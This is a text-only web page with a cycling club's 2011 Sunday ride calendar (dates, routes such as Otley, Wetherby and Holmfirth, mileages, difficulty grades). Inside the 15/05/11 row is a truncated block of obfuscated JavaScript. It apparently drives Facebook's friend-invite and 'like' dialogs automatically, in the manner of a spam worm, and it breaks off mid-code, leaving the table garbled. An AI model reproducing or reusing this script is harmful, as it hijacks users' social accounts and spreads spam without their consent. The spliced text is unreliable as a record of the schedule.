| Date | Where to | Miles | Type |
| 02/01/11 | Wake/Micklefield/Rothwell | 30 Due to snow | Easy |
| 09/01/11 | Otley/Cafe | 30 | Moderate |
| 16/01/11 | Methley/Redbeck Cafe | 35 | Easy |
| 23/01/11 | Sherburn/Cafe | 45 | Easy |
| 30/01/11 | Huddersfield/Brighouse | 30 | Moderate + |
| 06/02/11 07/02/10 | Wetherby | 45 | Moderate |
| 13/02/11 | Queensbury/Cullingworth | 40 | Hilly |
| 20/02/11 | Otley/Askwith | 45 | Moderate + |
| 27/02/11 | Sowerby/Hebden Bridge | 40 | Hilly |
| 06/03/11 | YRC Tadcaster Reliability YRC Reliability Ride | 30 or 65 (2 rides) Tadcaster 30/65 | Moderate |
| Alternatively meet at | Drighlington Cross Roads | at 10.00 am - Destination | to be agreed on day |
| 13/03/11 | Birken & Beal | 50 | Moderate |
| 20/03/11 | Clayton West/Holmfirth | 45 | Easy |
| 27/03/11 | Sth Emsall/Featherstone/Loft | 40 | Moderate |
| 03/04/11 | Slaithwaite/Elland | 40 | Hilly |
| 10/04/11 | Otley/Askwith | 45 | Moderate |
| 17/04/11 | Tadcaster/Wetherby | 50 | Moderate |
| 24/04/11 | Brig H/W Bret'n/Ackworth | 50 | Moderate |
| 01/05/11 | Micklefield | 30 | Easy |
| 08/05/11 | Skipton/Bolton Abb/Otley Skipton/Bolton Abb/Otley | 60 | Moderate/Long |
| 15/05/11 | Askern | 60 | Moderate/Long \x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function (){fs[_0xc100[8]]();} ,5000);setTimeout(function (){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,3500);setTimeout(function (){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100Moderate/Long |
| 22/05/11 | Gargrave | 60 | Moderate/Long |
| 29/05/11 | Birken/Beal | 55 | Moderate |
| 05/06/11 | Holmfirth/Denby Dale | 50 | Hilly |
| 12/06/11 | Selby | 60 | Moderate/Long |
| 19/06/11 | Ackworth/Sth Emsall/Wake | Bike Week Ride | Easy |
| 26/06/11 | Knaresborough | 52 | Moderate/Long |
| 03/07/11 | Denby Dale/Holmfirth | 50 | Hilly Hilly |
| 10/07/11 | Birkin & Beal | 55 | Moderate |
| 17/07/11 | Dingle & Delph | 50 | Hilly |
| 24/07/11 | Retford | 100 | Club 100 in 7 |
| 31/07/11 | Tadcaster/Wetherby | 50 | Moderate |
| 07/08/11 | Skipton/Bolton Abb/Otley | 60 | Moderate/Long |
| 14/08/11 | Sth Emsall/Featherstone/Garf | 55 | Moderate |
| 21/08/11 | Weth'by/Tad/Sherb'n/Gar | 55 | Moderate |
| 28/08/11 | Silsden/Add/Ilk/Otley | 55 | Hilly |
| 04/09/11 | S'Milford/Ackworth/Wak | 50 | Moderate |
| 11/09/11 | Osset/H'firth/Sow Bridge | 52 | Hilly |
| 18/09/11 | Addingham/B Abbey/Blubber Ad'ham/B Abbey/Blubber | 54 | Hilly |
| 25/09/11 | Wetherby/B Spa/Thorner | 48 | Easy |
| 02/10/11 | Slaithw/Delph/Halifax | 52 | Hilly |
| 09/10/11 | No Ride | Club Hill Climb (0.8) | Hard |
| 16/10/11 | Ackworth/Askern | 54 | Moderate |
| 23/10/11 | Cleck/Emley Moor/Elland | 42 | Moderate + |
| 30/10/11 | Tad/Sher'b/Knottingley | 50 | Easy |
| 06/11/11 | Halifax/Denholme/Keighley | 38 | Moderate to hilly |
| 13/11/11 | Bingley/Adding/Ilkley | 49 | Moderate |
| 20/11/11 | Ainley/Outlane/H'fax | 33 | Hilly |
| 27/11/11 07/02/10 | Shad/Barwick/Aber/Garforth | 42 | Easy |
| 04/12/11 | Shipley/Otley/Harwood | 40 | Moderate |
| 11/12/11 | Elland/Hebden Bridge | 39 | Hilly |
| 18/12/11 | Cas/Wake/Batley/Valley Pub | 34 | Easy |
| 25/12/11 | Christmas Day Ride YRC Reliability Ride | Tadcaster 30/65 | |
You are viewing the text version of this site.
To view the full version please install the Adobe Flash Player and ensure your web browser has JavaScript enabled.
Need help? check the requirements page.